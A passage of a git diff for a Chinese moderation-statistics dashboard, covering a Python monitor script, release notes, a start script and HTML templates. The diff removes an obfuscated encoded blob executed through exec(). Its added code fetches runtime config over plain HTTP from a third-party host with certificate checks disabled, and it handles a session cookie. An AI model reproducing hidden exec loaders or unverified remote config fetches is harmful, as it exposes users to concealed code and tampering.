print("\n" + "="*50) - print(f"{t}: {m}") - print("="*50 + "\n") - - return True - except Exception as e: - print(f"\n{t}: {m} (提示音播放失败: {str(e)})\n") - return False +# 常量定义 +INSPECT_API_URL = "https://api.cc.163.com/v1/inspectapi/forumtrack/tracklog/searchtracklog" +COEFFICIENT = 1.5 # CC审核平台的系数 +HOURLY_DATA_FILE = "inspect_hourly.json" +DAILY_DATA_FILE = "inspect_daily.json" +COEFFICIENTS_CONFIG_FILE = "inspect_coefficients.json" +DEFAULT_COEFFICIENTS = {"default": 1.5} +COEFFICIENTS = DEFAULT_COEFFICIENTS.copy() +coefficients_lock = Lock() -def _cPsIFmOQB7j(t,m,e=0): - _D1AyQvAz0(t,m,e==1) +def handle_exit(signum, frame): + logging.info(f"收到退出信号({signum}),即将退出") + sys.exit(0) +signal.signal(signal.SIGTERM, handle_exit) +signal.signal(signal.SIGINT, handle_exit) -_GxOvPU=b'\xb0a=\xce\xc0\x1b\xcb\xfe1:\x8b\xd0\x18>\xdfK' -_gFwziLer=b'$o+tpy>uA3DaEu;`dZ7L_QbMW1LRaixz@3E5%Qiv6=BNC9O(bWYwhnWoYgn0h)^m6j?6^s^0bkATDMpZbrDT!a^@)u`>yPqreT;4|E8$qq5D_2JJVyGyWR$IUG}N(Hu)h%Y!hCwUc4LE*$^Y+h2piB-XVLKwdtd4RCnqhjM_yqIzxC_AZC&{T&;P6_4;SS_5&83fbSpZuOj8Z)+a~+$DQ6ACJfVz>;>R$wmU68@{C+>ove+5r%1nw1g?}(yb{vRoyxy}n6PUROVA!=M<1`@7(4xZEKQ83Q8tO}t^TVpXsPq(>I+51r*|Lc-$hfdy8|HC%6-9I+B6FU>$?A{lZH7iA@;V-9J0Qjt#8m~=e0|M#OsiyHk^hTU5Oh}DcKMH&+ep@w!?SNX%wkoG22L@Y(Mt-dx-~&go(P_-&iqJH6n3l`!G1DqHQhnH%&v3lIp0A?#G*f`7Q(ow6LPo4|tmf!%jM4An1k>T_?3TX$e&vM(drPU^}GBm*8YB)U8!v%!Al@5#g}t#qLNyJxP7lB$V)@XZ&Sj3qUO!4TOraIKQ>Ix=gIGx>QNd9lsG8rYxeCmAk0{%Vr`=|cmy9PoL?!?+*$Dr2Az89&e%of1OcskJK}r1KheQ~o8IFdu~9Jh9Smm*s2o_C4MuxzVYt`#-Tg{7mqyt-X)VrB4&V^?81Eu0neQLMva>q3Vb7DwRg&B6a?dakHQ@e4uUdw*`x2W_;m9yK4=f>I~*#0Ofo#cND5o6@~PC|098cPv>4(!%ri4@yMe~vWIJ9tjZ31OXHV`YM6=0+~k$N={pO8X6%?WO(1?NWD1AUGu+7_a`%mm3`zu^&d%viF=|`N@X%?Ts)d+ko`wET#xTGDUc?9?mTtHmbk=g@v#-s`Bcd(U3Q1#?hjA%x4P`Fvr9&#@rLcNIg)P%^K2X?9!#oNbLiDj>{vljxpU_IM1vZkn{D^8weA2XVTllzsmnYOXD8qUdwOCD1x(HM-^GVkUjuP0aiu%h^nxsY5Q?bOm23&0L@^zS+_oX8Z--sH7)@&tJi>U@nzPq-C6)mk<>%j?bN7=d7{~k)n1JWW62thI+VjmV)=V;vb-UK24;s`#ilsgsV^d=G4J!K=^8Sp9E5a;_>a%f}>t{k9OhaPmI7%@Uno#+1rHkPmDAv~$2s$=yuL0`~{icK>eaB0}v{vGyD)7@%_Cz(#F93$Yawn$rjeJ6Cze{-iNGZukh5$O1uxEs(K{T(nORm;V)!Ot|vZPfnw=m~(VN+FguJ)7rHs@~7?_k~ro1c8o1QRCP&Nay@=k>+I0R`IJs1a_ic8)yxn23wU)L!8+pxdTktI?3Y?JF-$iQF;|fuX*GTi5uGD#R)w=^cDZ$MLU7iGi@cvD2^z%-0iN3>pGITSp*9^tS|@P4fajWst&=VE=%Q%sbdQ-1`p`4}-um0ARB}YCw+&YHGFtpWl_?{&Znx9Q)@`KGT(h3im`!K5wVypq6>#lToBFWjsZae{5<9$=Orz=gSyw-xQ;H{xx|=Pdg_r^RX1B8Gg)~v!h`CfpSJWmX4QstDGpw1J-{2<`I8}mTQ_nLb!0HO%o1&KD^Hf+6VCSpB_w^ZdoZwaQk|}u6b&R`Jh}Pu{5@z&QRj(1WD=!bw6(uOq3B$D#1KXMo1v{Si0o2$G(yq*&@)gt{Dspd2e2(7{?9c*U!m4*=skf>s~>BdF8)3YH<+#','exec')) -except Exception as e: - _YdA3Am9Vo="程序无法启动: "+str(e)[:50] - _cPsIFmOQB7j("错误",_YdA3Am9Vo,1) - sys.exit(1) +def get_inspect_stats(username, cookie, start_time, end_time): + """获取CC审核平台的统计数据""" + try: + # 每次统计前主动加载系数,确保用到最新 + load_coefficients() + # 准备请求数据 + data = { + "data": { + "form": { + "operator": f"{username.lower()}@mail.go", + "startTime": start_time, + "endTime": end_time, + "tid": "", + "pid": "" + }, + "page": 1, + "pageSize": 500 + } + } + + # 设置请求头 + headers = { + "accept": "application/json, text/plain, */*", + "content-type": "text/plain", + "cookie": cookie, + "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" + } + + # 发送请求 + response = requests.post(INSPECT_API_URL, headers=headers, json=data) + response.raise_for_status() + + # 解析响应 + result = response.json() + if result.get("code") == "OK": + total = result.get("data", {}).get("result", {}).get("total", 0) + current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") + + # 使用从在线链接获取的系数 + with coefficients_lock: + current_coefficient = COEFFICIENTS.get('default', 1.5) + + return { + "total": total, + "weighted_total": total * current_coefficient, + "timestamp": int(time.time()), + "update_time": current_time + } + else: + logging.error(f"获取CC审核平台数据失败: {result.get('msg')}") + return None + + except Exception as e: + logging.error(f"获取CC审核平台数据时发生错误: {str(e)}") + return None + +def save_stats(stats, file_path): + """保存统计数据到文件""" + try: + with open(file_path, 'w') as f: + json.dump(stats, f) + except Exception as e: + logging.error(f"保存统计数据时发生错误: {str(e)}") + +def load_stats(file_path): + """从文件加载统计数据""" + try: + if os.path.exists(file_path): + with open(file_path, 'r') as f: + return json.load(f) + except Exception as e: + logging.error(f"加载统计数据时发生错误: {str(e)}") + return {"stats": []} + +def update_hourly_stats(username, cookie): + """更新小时统计数据""" + now = datetime.now() + start_time = now.strftime("%Y/%m/%d %H:00:00") + end_time = now.strftime("%Y/%m/%d %H:59:59") + + stats = get_inspect_stats(username, cookie, start_time, end_time) + if stats: + hourly_data = load_stats(HOURLY_DATA_FILE) + + # 移除超过24小时的数据 + current_time = int(time.time()) + hourly_data["stats"] = [ + stat for stat in hourly_data["stats"] + if current_time - stat["timestamp"] <= 24 * 3600 + ] + + # 添加新数据 + hourly_data["stats"].append(stats) + save_stats(hourly_data, HOURLY_DATA_FILE) + logging.info(f"成功更新小时统计数据: {stats}") + +def update_daily_stats(username, cookie): + """更新日统计数据""" + now = datetime.now() + start_time = now.strftime("%Y/%m/%d 00:00:00") + end_time = now.strftime("%Y/%m/%d 23:59:59") + + stats = get_inspect_stats(username, cookie, start_time, end_time) + if stats: + daily_data = load_stats(DAILY_DATA_FILE) + + # 移除超过7天的数据 + current_time = int(time.time()) + daily_data["stats"] = [ + stat for stat in daily_data["stats"] + if current_time - stat["timestamp"] <= 7 * 24 * 3600 + ] + + # 添加新数据 + daily_data["stats"].append(stats) + save_stats(daily_data, DAILY_DATA_FILE) + logging.info(f"成功更新日统计数据: {stats}") + +def fetch_and_save_coefficients(url): + """从在线服务器获取系数配置并保存到本地""" + max_retries = 3 + retry_delay = 5 # 重试间隔(秒) + + for attempt in range(max_retries): + try: + # 尝试不使用代理直接获取 + try: + response = requests.get(url, timeout=10, proxies={'http': None, 'https': None}, verify=False) + except: + # 如果直接获取失败,尝试使用系统代理 + proxies = { + 'http': os.environ.get('HTTP_PROXY', ''), + 'https': os.environ.get('HTTPS_PROXY', '') + } + response = requests.get(url, timeout=10, proxies=proxies, verify=False) + + if response.status_code == 200: + loaded_coefficients = response.json() + # 更新系数 + COEFFICIENTS.update(loaded_coefficients) + # 保存到本地文件 + with open(COEFFICIENTS_CONFIG_FILE, 'w', encoding='utf-8') as f: + json.dump(loaded_coefficients, f, indent=4, ensure_ascii=False) + log(f"从服务器获取系数: {loaded_coefficients}") + return True + else: + log(f"获取在线系数配置失败,HTTP状态码: {response.status_code}") + if attempt < max_retries - 1: + log(f"第{attempt + 1}次重试失败,{retry_delay}秒后重试...") + time.sleep(retry_delay) + continue + return False + except Exception as e: + log(f"获取在线系数配置时发生错误: {str(e)}") + if attempt < max_retries - 1: + log(f"第{attempt + 1}次重试失败,{retry_delay}秒后重试...") + time.sleep(retry_delay) + continue + return False + +def load_coefficients(): + """从在线链接获取系数配置,如果获取失败则使用默认配置""" + global COEFFICIENTS + try: + with coefficients_lock: + url = "http://scripts.ui-beam.com:5000/NetEaseDSMonitor/config/inspect_coefficients.json" + + # 检查本地文件是否存在 + local_config_exists = os.path.exists(COEFFICIENTS_CONFIG_FILE) + + # 如果是首次运行或需要强制更新 + if not local_config_exists: + log("首次运行,从在线服务器获取系数配置") + if not fetch_and_save_coefficients(url): + log("首次获取系数配置失败,使用默认配置") + COEFFICIENTS = DEFAULT_COEFFICIENTS.copy() + return + + # 读取本地配置 + try: + with open(COEFFICIENTS_CONFIG_FILE, 'r', encoding='utf-8') as f: + local_coefficients = json.load(f) + except Exception as e: + log(f"读取本地系数配置失败: {str(e)}") + local_coefficients = None + + # 尝试获取在线配置 + try: + response = requests.get(url, timeout=10, proxies={'http': None, 'https': None}, verify=False) + if response.status_code == 200: + online_coefficients = response.json() + + # 比较配置是否发生变化 + if local_coefficients != online_coefficients: + log("检测到系数配置发生变化,更新本地配置") + if fetch_and_save_coefficients(url): + log("系数配置更新成功") + else: + log("系数配置更新失败,继续使用本地配置") + else: + log("系数配置未发生变化,使用本地配置") + else: + log(f"获取在线系数配置失败,HTTP状态码: {response.status_code}") + except Exception as e: + log(f"检查在线系数配置时发生错误: {str(e)}") + + # 使用本地配置 + if local_coefficients: + COEFFICIENTS.update(local_coefficients) + log(f"从本地从加载系数: {local_coefficients}") + else: + COEFFICIENTS = DEFAULT_COEFFICIENTS.copy() + + except Exception as e: + log(f"加载系数配置失败: {str(e)}") + COEFFICIENTS = DEFAULT_COEFFICIENTS.copy() + +def monitor_config_thread(): + """监控配置文件变化线程""" + log("配置监控线程启动") + last_check_time = 0 + check_interval = 1800 # 30分钟 + + while True: + try: + current_time = time.time() + + # 检查是否需要更新配置 + if current_time - last_check_time >= check_interval: + log("开始检查系数配置更新") + load_coefficients() + last_check_time = current_time + + time.sleep(60) # 每分钟检查一次时间 + + except Exception as e: + log(f"配置监控线程异常: {str(e)}") + time.sleep(60) # 发生异常时等待1分钟后重试 + +def send_global_message(message): + """发送全局消息提示""" + try: + # 将消息写入到全局消息文件 + message_file = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'global_messages.json') + messages = [] + if os.path.exists(message_file): + with open(message_file, 'r', encoding='utf-8') as f: + messages = json.load(f) + + # 添加新消息 + messages.append({ + 'timestamp': int(time.time()), + 'message': message, + 'type': 'error' + }) + + # 只保留最近100条消息 + if len(messages) > 100: + messages = messages[-100:] + + # 保存消息 + with open(message_file, 'w', encoding='utf-8') as f: + json.dump(messages, f, ensure_ascii=False) + except Exception as e: + log(f"发送全局消息失败: {str(e)}") + +def main(): + """主函数""" + logging.info("CC审核平台监控系统启动") + + # 解析命令行参数 + check_now = False + for arg in sys.argv: + if arg == "--check-now": + check_now = True + logging.info("收到立即检查参数") + + # 从环境变量获取凭据 + username = os.environ.get('INSPECT_USERNAME') + cookie = os.environ.get('INSPECT_COOKIE') + if not username or not cookie: + logging.error("未设置CC审核平台凭据") + return + + if check_now: + logging.info("开始执行手动检查") + update_hourly_stats(username, cookie) + logging.info("手动检查完成") + sys.exit(0) + + # 启动小时和日数据监控线程 + def hourly_update_thread(): + while True: + try: + update_hourly_stats(username, cookie) + logging.info("已完成小时统计数据更新") + time.sleep(120) + except Exception as e: + logging.error(f"小时数据更新线程错误: {str(e)}") + time.sleep(60) + + def daily_update_thread(): + last_daily_check = None + while True: + try: + now = datetime.now() + if last_daily_check is None or (now - last_daily_check).total_seconds() >= 3600: + update_daily_stats(username, cookie) + last_daily_check = now + logging.info("已完成日统计数据更新") + time.sleep(300) + except Exception as e: + logging.error(f"日数据更新线程错误: {str(e)}") + time.sleep(60) + + hourly_thread = threading.Thread(target=hourly_update_thread) + hourly_thread.daemon = True + hourly_thread.start() + + daily_thread = threading.Thread(target=daily_update_thread) + daily_thread.daemon = True + daily_thread.start() + + # 启动配置监控线程 + config_thread = threading.Thread(target=monitor_config_thread) + config_thread.daemon = True + config_thread.start() + + # 保持主线程运行 + try: + while True: + time.sleep(10) + except KeyboardInterrupt: + logging.info("程序被用户中断") + except Exception as e: + logging.error(f"主线程异常: {str(e)}") + finally: + logging.info("CC审核平台监控系统关闭") + sys.exit(0) + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/releases.html b/releases.html index e1bed18..707903b 100644 --- a/releases.html +++ b/releases.html @@ -150,6 +150,76 @@

记录系统各版本的更新内容和修复问题

+
+
+
2025年4月29日
+ +
+
+
2025年4月29日更新 (v20250429213045):
+
+

告警提示机制优化

+
    +
  • 将告警提示方式由横幅改为WebSocket实时弹窗提示,实现秒级响应
  • +
  • 实现网页弹窗与Windows通知同步显示,不再有延迟
  • +
  • 优化了告警文本的可读性和清晰度
  • +
  • 新增零值持续告警功能:当检测到连续14分钟获取数值为0时,触发弹窗提醒,直至数据恢复非零状态
  • +
+
+
+

数据监控看板样式优化

+
    +
  • 实现当前小时"总计(折算量)"数值根据阈值动态变色功能: +
      +
    • <200:红色(异常状态)
    • +
    • 200-682:橙色(警告状态)
    • +
    • >682:绿色(达标状态)
    • +
    +
  • +
  • 优化数值展示效果,提升数据感知效率
  • +
+
+
+

系数配置重构

+
    +
  • 改为在线获取系数配置,无需手动修改
  • +
  • 移除手动配置入口,简化操作流程
  • +
  • 优化系数加载和应用机制,提高稳定性
  • +
+
+
+

日志与界面优化

+
    +
  • 增强日志记录功能,优化日志格式和输出方式
  • +
  • 简化页面展示,移除冗余的工单总数和总记录数卡片
  • +
  • 优化数据展示区域,聚焦折算总计和类别数据
  • +
  • 优化系统状态提示信息,改进错误提示机制
  • +
+
+
+

自动化与用户体验

+
    +
  • 所有监控进程启动时自动最小化窗口,减少界面干扰
  • +
  • 主控台窗口启动时自动最小化,保持桌面整洁
  • +
  • 修复网页自动关闭失败的提示方式,改为弹窗提示
  • +
  • 优化配置文件检查间隔为2分钟,降低系统资源占用
  • +
+
+
+

Bug修复

+
    +
  • 修复了用户登出时可能未清理共享数据文件的问题
  • +
  • 修复了多监控进程启动窗口叠加的干扰问题
  • +
  • 修复了favicon.ico 404错误,调整为正确的图标文件路径
  • +
  • 修复了静态资源路径问题,确保UI资源正确加载
  • +
  • 修复了更新小时数据时 inspect_monitor.py 进程未正常结束导致更新失败的问题
  • +
+
+
+
+
2025年4月22日
@@ -337,11 +407,11 @@
2025年4月8日
-
2025年4月8日更新 (v20250408165207):
+
2025年4月8日更新 (v20250410232012):

一键部署功能

添加download_auto_run.py一键安装脚本,自动下载文件、安装依赖并启动系统,简化安装流程

@@ -382,7 +452,7 @@
-

© 2025 网易DS监控系统 - 版本更新日志

+

© 2025 网易大神实时审核数据监控看板 - 版本更新日志

diff --git a/start_monitor.cmd b/start_monitor.cmd index 4bf89d0..d4dfc82 100644 --- a/start_monitor.cmd +++ b/start_monitor.cmd @@ -2,7 +2,7 @@ chcp 65001 >nul cd /d "%~dp0" -echo 启动网易大神审核数据看板... +echo 启动网易大神实时审核数据看板... REM 检查Python路径 set PYTHON_PATH=C:\Python39\python.exe @@ -34,7 +34,7 @@ timeout /t 3 >nul REM 启动监控系统 echo [INFO] 正在启动主控制面板 (端口:8000)... cd /d "%~dp0" -start "网易大神审核数据监控系统" /b "%PYTHON_PATH%" dashboard.py +start "网易大神实时审核数据监控系统" /min "%PYTHON_PATH%" dashboard.py REM 等待1秒确保程序启动 timeout /t 1 >nul diff --git a/templates/dashboard.html b/templates/dashboard.html index 11bd6e7..246dff4 100644 --- a/templates/dashboard.html +++ b/templates/dashboard.html @@ -4,9 +4,16 @@ - 网易大神审核数据监控看板 + 网易大神实时审核数据监控看板 - + + @@ -729,19 +844,18 @@
-

网易大神审核数据监控看板

+

网易大神实时审核数据监控看板

加载中...
- + + - - - +
@@ -821,7 +935,7 @@
- :当前小时折算总量已超过阈值! +
@@ -835,10 +949,6 @@

当前小时数据

-
-
-
-
工单总数
-
折算总计
-
@@ -849,10 +959,6 @@

今日全天数据

-
-
-
-
工单总数
-
折算总计
-
@@ -888,10 +994,6 @@
举报处理
系数: -
-
-
-
-
总记录数
-
折算总计
@@ -916,10 +1018,6 @@
举报处理
系数: -
-
-
-
-
总记录数
-
折算总计
@@ -999,6 +1097,13 @@
+ +
+ × +

⚠️ 数据异常警告

+

检测到数据持续为零,请检查系统运行状态!

+
+ diff --git a/templates/login.html b/templates/login.html index 60affe8..de580ff 100644 --- a/templates/login.html +++ b/templates/login.html @@ -3,7 +3,7 @@ - 网易大神审核数据监控看板 - 登录 + 网易大神实时审核数据监控看板 - 登录